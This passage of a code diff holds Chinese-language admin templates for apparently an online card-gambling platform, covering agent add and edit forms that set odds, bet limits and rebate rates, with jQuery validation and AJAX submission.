<input id="price_tc_n5" name="price_tc_n5" type="text" value="4.80" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛六赔率:</label>
<div class="controls">
<input id="price_tc_n6" name="price_tc_n6" type="text" value="5.76" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛七赔率:</label>
<div class="controls">
<input id="price_tc_n7" name="price_tc_n7" type="text" value="6.72" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛八赔率:</label>
<div class="controls">
<input id="price_tc_n8" name="price_tc_n8" type="text" value="7.68" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛九赔率:</label>
<div class="controls">
<input id="price_tc_n9" name="price_tc_n9" type="text" value="8.64" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_tc_nn" name="price_tc_nn" type="text" value="9.60" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押豹子赔率:</label>
<div class="controls">
<input id="price_tc_bz" name="price_tc_bz" type="text" value="11.52" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押同花顺赔率:</label>
<div class="controls">
<input id="price_tc_ths" name="price_tc_ths" type="text" value="14.40" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押皇家同花顺赔率:</label>
<div class="controls">
<input id="price_tc_hjths" name="price_tc_hjths" type="text" value="19.20" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<!-- <div class="control-group">
<label class="control-label">三卡牛牛系统抽水:</label>
<div class="controls">
<input id="agent_commission_tc" name="agent_commission_tc" type="text" value="0.03" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">三卡牛牛庄家抽佣:</label>
<div class="controls">
<input id="agent_commission_tc_banker" name="agent_commission_tc_banker" type="text" value="0.05" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div> -->
<div class="control-group">
<label class="control-label">日赢上限:</label>
<div class="controls">
<input id="win_limit" name="win_limit" type="text" value="0" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
<font color="red"> * 默认0则为没有限制</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/agent/index';
if(id == "2") location.href = '/agent/agent_add';
});
// 切换总代性质
$('.agent_type').change(function(){
var agentType = $('.agent_type:checked').val();
if(agentType == 1){
$('.rebate-box').show();
}else{
$('.rebate-box').hide();
}
});
$('.agent_type').change();
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var limit_checkout = new Array();
var query = new Object();
query.username = $('#L_username').val();
query.nickname = $('#L_nickname').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.agent_type = $('.agent_type:checked').val();
query.pay_channel = $('.pay_channel:checked').val();
query.type_xima = $('.type_xima:checked').val();
query.share_xima = $('#share_xima').val();
query.rebate_rate = $('#rebate_rate').val();
query.ximalv = $('#L_ximalv').val();
query.ximalv_dt = $('#L_ximalv_dt').val();
query.ximalv_nn = $('#L_ximalv_nn').val();
query.ximalv_tc = $('#L_ximalv_tc').val();
query.cs = $('#L_cs').val();
query.bet_type = $('#L_bet_type').val();
query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val();
query.limit_low_tie = $('#limit_low_tie').val();
query.limit_high_tie = $('#limit_high_tie').val();
query.limit_low_pair = $('#limit_low_pair').val();
query.limit_high_pair = $('#limit_high_pair').val();
query.price_banker = $('#price_banker').val();
query.price_player = $('#price_player').val();
query.price_tie_baccarat = $('#price_tie_baccarat').val();
query.price_pair = $('#price_pair').val();
query.price_luck_six_2 = $('#price_luck_six_2').val();
query.price_luck_six_3 = $('#price_luck_six_3').val();
query.price_big = $('#price_big').val();
query.price_small = $('#price_small').val();
query.price_dragon = $('#price_dragon').val();
query.price_tiger = $('#price_tiger').val();
query.price_tie_dt = $('#price_tie_dt').val();
query.price_n0_n6 = $('#price_n0_n6').val();
query.price_n7_n9 = $('#price_n7_n9').val();
query.price_nn = $('#price_nn').val();
query.price_5n = $('#price_5n').val();
query.win_limit = $('#win_limit').val();
query.price_tc_n1 = $('#price_tc_n1').val();
query.price_tc_n2 = $('#price_tc_n2').val();
query.price_tc_n3 = $('#price_tc_n3').val();
query.price_tc_n4 = $('#price_tc_n4').val();
query.price_tc_n5 = $('#price_tc_n5').val();
query.price_tc_n6 = $('#price_tc_n6').val();
query.price_tc_n7 = $('#price_tc_n7').val();
query.price_tc_n8 = $('#price_tc_n8').val();
query.price_tc_n9 = $('#price_tc_n9').val();
query.price_tc_nn = $('#price_tc_nn').val();
query.price_tc_bz = $('#price_tc_bz').val();
query.price_tc_ths = $('#price_tc_ths').val();
query.price_tc_hjths = $('#price_tc_hjths').val();
// query.agent_commission_tc = $('#agent_commission_tc').val();
// query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val();
// 验证数据
if(query.username.length == 0){
layer.alert("请填写账号!");
return false;
}
if(query.nickname.length == 0){
layer.alert("请填写昵称!");
return false;
}
if(query.pass.length <= 0){
layer.alert("请填写密码!");
return false;
}
if(query.pass.length > 0 && query.pass.length < 6){
layer.alert("密码长度为6到16个字符!");
return false;
}
if(query.pass != query.repass){
layer.alert("两次密码不一致!");
return false;
}
if(query.ximalv.length == 0){
layer.alert("请填写百家乐码率");
return false;
}
if(query.ximalv_dt.length == 0){
layer.alert("请填写龙虎码率");
return false;
}
if(query.ximalv_nn.length == 0){
layer.alert("请填写牛牛码率");
return false;
}
if(query.ximalv_tc.length == 0){
layer.alert("请填写三卡牛牛码率");
return false;
}
if(parseFloat(query.cs) > 100){
layer.alert("占股不能超过100%");
return false;
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if(query.limit_low <= 0){
layer.alert("最低限红必须大于0");
return false;
}
if(query.limit_high <= 0){
layer.alert("最高限红必须大于0");
return false;
}
if(parseFloat(query.limit_low) > parseFloat(query.limit_high)){
layer.alert("最高限红必须大于最低限红");
return false;
}
if(query.limit_low_tie <= 0){
layer.alert("最低限红必须大于0");
return false;
}
if(query.limit_high_tie <= 0){
layer.alert("最高限红必须大于0");
return false;
}
if(parseFloat(query.limit_low_tie) > parseFloat(query.limit_high_tie)){
layer.alert("最高和限红必须大于最低和限红");
return false;
}
if(query.limit_low_pair <= 0){
layer.alert("最低限红必须大于0");
return false;
}
if(query.limit_high_pair <= 0){
layer.alert("最高限红必须大于0");
return false;
}
if(parseFloat(query.limit_low_pair) > parseFloat(query.limit_high_pair)){
layer.alert("最高对子限红必须大于最低对子限红");
return false;
}
if(query.price_banker <= 0){
layer.alert("押庄赔率必须大于0");
return false;
}
if(query.price_player <= 0){
layer.alert("押闲赔率必须大于0");
return false;
}
if(query.price_tie_baccarat <= 0){
layer.alert("押和(百家乐)赔率必须大于0");
return false;
}
if(query.price_pair <= 0){
layer.alert("押对子赔率必须大于0");
return false;
}
if(query.price_luck_six_2 <= 0){
layer.alert("两张牌幸运6赔率必须大于0");
return false;
}
if(query.price_luck_six_3 <= 0){
layer.alert("三张牌幸运6赔率必须大于0");
return false;
}
if(query.price_big <= 0){
layer.alert("押大赔率必须大于0");
return false;
}
if(query.price_small <= 0){
layer.alert("押小赔率必须大于0");
return false;
}
if(query.price_dragon <= 0){
layer.alert("押龙赔率必须大于0");
return false;
}
if(query.price_tiger <= 0){
layer.alert("押虎赔率必须大于0");
return false;
}
if(query.price_tie_dt <= 0){
layer.alert("押和(龙虎斗)赔率必须大于0");
return false;
}
if(query.price_n0_n6 <= 0){
layer.alert("押牛1-牛6赔率必须大于0");
return false;
}
if(query.price_n7_n9 <= 0){
layer.alert("押牛7-牛9赔率必须大于0");
return false;
}
if(query.price_nn <= 0){
layer.alert("押牛牛赔率必须大于0");
return false;
}
if(query.price_5n <= 0){
layer.alert("押五公赔率必须大于0");
return false;
}
if(query.win_limit.length <= 0){
layer.alert("日赢上限不能为空");
return false;
}
if(query.price_tc_n1 <= 0){
layer.alert("押牛一(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n2 <= 0){
layer.alert("押牛二(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n3 <= 0){
layer.alert("押牛三(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n4 <= 0){
layer.alert("押牛四(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n5 <= 0){
layer.alert("押牛五(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n6 <= 0){
layer.alert("押牛六(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n7 <= 0){
layer.alert("押牛七(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n8 <= 0){
layer.alert("押牛八(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n9 <= 0){
layer.alert("押牛九(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_nn <= 0){
layer.alert("押牛牛(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_bz <= 0){
layer.alert("押豹子(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_ths <= 0){
layer.alert("押同花顺(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_hjths <= 0){
layer.alert("押皇家同花顺(三卡牛牛)赔率必须大于0");
return false;
}
// if(query.agent_commission_tc.length <= 0){
// layer.alert("三卡牛牛系统抽水不能为空");
// return false;
// }
// if(query.agent_commission_tc_banker.length <= 0){
// layer.alert("三卡牛牛庄家抽佣不能为空");
// return false;
// }
// 发送数据到后台添加会员
var result = ajax('/agent/do_agent_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/agent/index";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,791 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">修改代理</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value="{$agent.username}" maxlength="50" minlength="3" class="required" readonly>
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="L_nickname" name="L_nickname" type="text" value="{$agent.nickname}" maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 密码默认为空不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 密码默认为空不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value="{$agent.mobile}" maxlength="50" minlength="3" class="required"><span class="help-inline">
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value="{$agent.email}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">总代性质:</label>
<div class="controls">
<input name="agent_type" class="required agent_type" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" <?php if($agent['agent_type'] == 1) echo 'checked'; ?>>
<span style="position:relative;top:-7px;">现金线</span>
<input name="agent_type" class="required agent_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;" <?php if($agent['agent_type'] == 2) echo 'checked'; ?>>
<span style="position:relative;top:-7px;">信用线</span>
</div>
</div>
<div class="control-group">
<label class="control-label">支付渠道:</label>
<div class="controls">
{foreach name="$pay_channel_list" item="vo"}
<span>
<input name="pay_channel" class="required pay_channel" type="radio" value="{$vo.key}" maxlength="20" style="color:#999;width:35px;" <?php if($agent['pay_channel'] == $vo['key']) echo 'checked'; ?>>
<span style="position:relative;top:-7px;">{$vo.name}</span>
</span>
{/foreach}
</div>
</div>
<div class="control-group">
<label class="control-label">洗码方式:</label>
<div class="controls">
<input name="type_xima" class="required type_xima" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" <?php if($agent['type_xima'] == 1) echo 'checked'; ?>>
<span style="position:relative;top:-7px;">双边洗码</span>
<input name="type_xima" class="required type_xima" type="radio" value="2" maxlength="20" style="color:#999;width:35px;" <?php if($agent['type_xima'] == 2) echo 'checked'; ?>>
<span style="position:relative;top:-7px;">单边洗码</span>
</div>
</div>
<div class="control-group">
<label class="control-label">码量分担方式:</label>
<div class="controls">
<select id="share_xima" name="share_xima">
<option value="1" <?php if($agent['share_xima'] == 1) echo 'selected="selected"' ?>>不分担</option>
<option value="2" <?php if($agent['share_xima'] == 2) echo 'selected="selected"' ?>>按代理占成比例分担</option>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label">返水率(%):</label>
<div class="controls">
<input id="rebate_rate" name="rebate_rate" type="text" value="{$agent.rebate_rate}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 返水率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">百家乐码率(%):</label>
<div class="controls">
<input id="L_ximalv" name="L_ximalv" type="text" value="{$agent.agent_ximalv}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">龙虎码率(%):</label>
<div class="controls">
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="{$agent.agent_ximalv_dt}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">牛牛码率(%):</label>
<div class="controls">
<input id="L_ximalv_nn" name="L_ximalv_nn" type="text" value="{$agent.agent_ximalv_nn}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">三卡牛牛码率(%):</label>
<div class="controls">
<input id="L_ximalv_tc" name="L_ximalv_tc" type="text" value="{$agent.agent_ximalv_tc}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 码率取0-100之间</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">占股(%):</label>
<div class="controls">
<input id="L_cs" name="L_cs" type="text" value="{$agent.agent_cs}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 占股不能超过100%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低限红:</label>
<div class="controls">
<input id="limit_low" name="limit_low" type="text" maxlength="10" class="required" value="{$agent.limit_low}"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高限红:</label>
<div class="controls">
<input id="limit_high" name="limit_high" type="text" maxlength="10" class="required" value="{$agent.limit_high}"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低和限红:</label>
<div class="controls">
<input id="limit_low_tie" name="limit_low_tie" type="text" maxlength="10" class="required" value="{$agent.limit_low_tie}"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高和限红:</label>
<div class="controls">
<input id="limit_high_tie" name="limit_high_tie" type="text" maxlength="10" class="required" value="{$agent.limit_high_tie}"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低对子限红:</label>
<div class="controls">
<input id="limit_low_pair" name="limit_low_pair" type="text" maxlength="10" class="required" value="{$agent.limit_low_pair}"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高对子限红:</label>
<div class="controls">
<input id="limit_high_pair" name="limit_high_pair" type="text" maxlength="10" class="required" value="{$agent.limit_high_pair}"><span class="help-inline">
<font color="red"> * 必填项</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
<option value="0">请选择投注方式</option>
<option value="1" <?php if($agent['bet_type'] == 1) {echo 'selected';} ?>>网络投注</option>
<option value="2" <?php if($agent['bet_type'] == 2) {echo 'selected';} ?>>电话投注</option>
</select>
<span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押庄赔率:</label>
<div class="controls">
<input id="price_banker" name="price_banker" type="text" value="{$agent.price_banker}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押闲赔率:</label>
<div class="controls">
<input id="price_player" name="price_player" type="text" value="{$agent.price_player}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="{$agent.price_tie_baccarat}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押对子赔率:</label>
<div class="controls">
<input id="price_pair" name="price_pair" type="text" value="{$agent.price_pair}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">两张牌幸运6赔率:</label>
<div class="controls">
<input id="price_luck_six_2" name="price_luck_six_2" type="text" value="{$agent.price_luck_six_2}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">三张牌幸运6赔率:</label>
<div class="controls">
<input id="price_luck_six_3" name="price_luck_six_3" type="text" value="{$agent.price_luck_six_3}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押大赔率:</label>
<div class="controls">
<input id="price_big" name="price_big" type="text" value="{$agent.price_big}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押小赔率:</label>
<div class="controls">
<input id="price_small" name="price_small" type="text" value="{$agent.price_small}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押龙赔率:</label>
<div class="controls">
<input id="price_dragon" name="price_dragon" type="text" value="{$agent.price_dragon}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押虎赔率:</label>
<div class="controls">
<input id="price_tiger" name="price_tiger" type="text" value="{$agent.price_tiger}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_dt" name="price_tie_dt" type="text" value="{$agent.price_tie_dt}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押无牛-牛6赔率:</label>
<div class="controls">
<input id="price_n0_n6" name="price_n0_n6" type="text" value="{$agent.price_n0_n6}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛7-牛9赔率:</label>
<div class="controls">
<input id="price_n7_n9" name="price_n7_n9" type="text" value="{$agent.price_n7_n9}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_nn" name="price_nn" type="text" value="{$agent.price_nn}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押五公赔率:</label>
<div class="controls">
<input id="price_5n" name="price_5n" type="text" value="{$agent.price_5n}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛一赔率:</label>
<div class="controls">
<input id="price_tc_n1" name="price_tc_n1" type="text" value="{$agent.price_tc_n1}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛二赔率:</label>
<div class="controls">
<input id="price_tc_n2" name="price_tc_n2" type="text" value="{$agent.price_tc_n2}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛三赔率:</label>
<div class="controls">
<input id="price_tc_n3" name="price_tc_n3" type="text" value="{$agent.price_tc_n3}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛四赔率:</label>
<div class="controls">
<input id="price_tc_n4" name="price_tc_n4" type="text" value="{$agent.price_tc_n4}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛五赔率:</label>
<div class="controls">
<input id="price_tc_n5" name="price_tc_n5" type="text" value="{$agent.price_tc_n5}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛六赔率:</label>
<div class="controls">
<input id="price_tc_n6" name="price_tc_n6" type="text" value="{$agent.price_tc_n6}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛七赔率:</label>
<div class="controls">
<input id="price_tc_n7" name="price_tc_n7" type="text" value="{$agent.price_tc_n7}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛八赔率:</label>
<div class="controls">
<input id="price_tc_n8" name="price_tc_n8" type="text" value="{$agent.price_tc_n8}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛九赔率:</label>
<div class="controls">
<input id="price_tc_n9" name="price_tc_n9" type="text" value="{$agent.price_tc_n9}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_tc_nn" name="price_tc_nn" type="text" value="{$agent.price_tc_nn}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押豹子赔率:</label>
<div class="controls">
<input id="price_tc_bz" name="price_tc_bz" type="text" value="{$agent.price_tc_bz}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押同花顺赔率:</label>
<div class="controls">
<input id="price_tc_ths" name="price_tc_ths" type="text" value="{$agent.price_tc_ths}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押皇家同花顺赔率:</label>
<div class="controls">
<input id="price_tc_hjths" name="price_tc_hjths" type="text" value="{$agent.price_tc_hjths}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<!-- <div class="control-group">
<label class="control-label">三卡牛牛系统抽水:</label>
<div class="controls">
<input id="agent_commission_tc" name="agent_commission_tc" type="text" value="{$agent.agent_commission_tc}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">三卡牛牛庄家抽佣:</label>
<div class="controls">
<input id="agent_commission_tc_banker" name="agent_commission_tc_banker" type="text" value="{$agent.agent_commission_tc_banker}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 三卡牛牛 </font>
</span>
</div>
</div> -->
<div class="control-group">
<label class="control-label">日赢上限:</label>
<div class="controls">
<input id="win_limit" name="win_limit" type="text" value="{$agent.win_limit}" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
<font color="red"> * 默认0则为没有限制</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="agent-id" value="{$agent.id}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/agent/index';
if(id == "2") location.href = '/agent/agent_edit';
});
// 切换总代性质
$('.agent_type').change(function(){
var agentType = $('.agent_type:checked').val();
if(agentType == 1){
$('.rebate-box').show();
}else{
$('.rebate-box').hide();
}
});
$('.agent_type').change();
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var limit_checkout = new Array();
var query = new Object();
query.agent_id = $('#agent-id').val();
query.username = $('#L_username').val();
query.nickname = $('#L_nickname').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.agent_type = $('.agent_type:checked').val();
query.pay_channel = $('.pay_channel:checked').val();
query.type_xima = $('.type_xima:checked').val();
query.share_xima = $('#share_xima').val();
query.ximalv = $('#L_ximalv').val();
query.ximalv_dt = $('#L_ximalv_dt').val();
query.ximalv_nn = $('#L_ximalv_nn').val();
query.ximalv_tc = $('#L_ximalv_tc').val();
query.cs = $('#L_cs').val();
query.bet_type = $('#L_bet_type').val();
query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val();
query.limit_low_tie = $('#limit_low_tie').val();
query.limit_high_tie = $('#limit_high_tie').val();
query.limit_low_pair = $('#limit_low_pair').val();
query.limit_high_pair = $('#limit_high_pair').val();
query.price_banker = $('#price_banker').val();
query.price_player = $('#price_player').val();
query.price_tie_baccarat = $('#price_tie_baccarat').val();
query.price_pair = $('#price_pair').val();
query.price_luck_six_2 = $('#price_luck_six_2').val();
query.price_luck_six_3 = $('#price_luck_six_3').val();
query.price_big = $('#price_big').val();
query.price_small = $('#price_small').val();
query.price_dragon = $('#price_dragon').val();
query.price_tiger = $('#price_tiger').val();
query.price_tie_dt = $('#price_tie_dt').val();
query.price_n0_n6 = $('#price_n0_n6').val();
